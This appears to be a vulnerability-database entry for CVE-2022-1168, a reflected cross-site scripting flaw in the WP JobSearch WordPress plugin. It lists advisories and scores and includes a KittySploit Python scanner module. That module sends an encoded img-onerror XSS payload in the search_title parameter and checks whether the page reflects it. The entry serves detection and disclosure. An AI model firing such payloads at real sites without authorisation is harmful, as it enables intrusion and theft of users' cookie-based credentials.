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WordPress WP JobSearch <1.5.1 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Cross-site scripting in WP JobSearch plugin allows stealing cookie-based credentials.

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cve
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4 Apr 202215:36
–cve
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CVE-2022-1168 JobSearch < 1.5.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)
4 Apr 202215:36
–cvelist
euvd
EUVD
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3 Oct 202520:07
–euvd
nuclei
Nuclei
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16 Oct 202602:05
–nuclei
nvd
NVD
CVE-2022-1168
4 Apr 202216:15
–nvd
osv_cve
osv_cve
CVE-2022-1168
4 Apr 202216:15
–osv_cve
prion
Prion
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4 Apr 202216:15
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress WP JobSearch plugin prior to 1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress WP JobSearch <1.5.1 - Cross-Site Scripting Detection',
        'description': 'WordPress WP JobSearch plugin prior to 1.5.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2022', 'wp-jobsearch"', 'wpscan', 'wp-plugin', 'wp', 'wordpress', 'xss', 'eyecix', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://wpscan.com/vulnerability/bcf38e87-011e-4540-8bfb-c93443a4a490',
            'https://codecanyon.net/item/jobsearch-wp-job-board-wordpress-plugin/21066856',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-1168',
            'https://github.com/ARPSyndicate/cvemon',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2022-1168',
    }

    def run(self):
        r = self.http_request(method="GET", path='/plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent', allow_redirects=False)
        if not r or r.status_code != 404:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('<img src=x onerror=alert(domain)>', 'wp-jobsearch',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="WordPress WP JobSearch <1.5.1 - Cross-Site Scripting detected",
                path='/plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 3.16.1
EPSS0.01847
2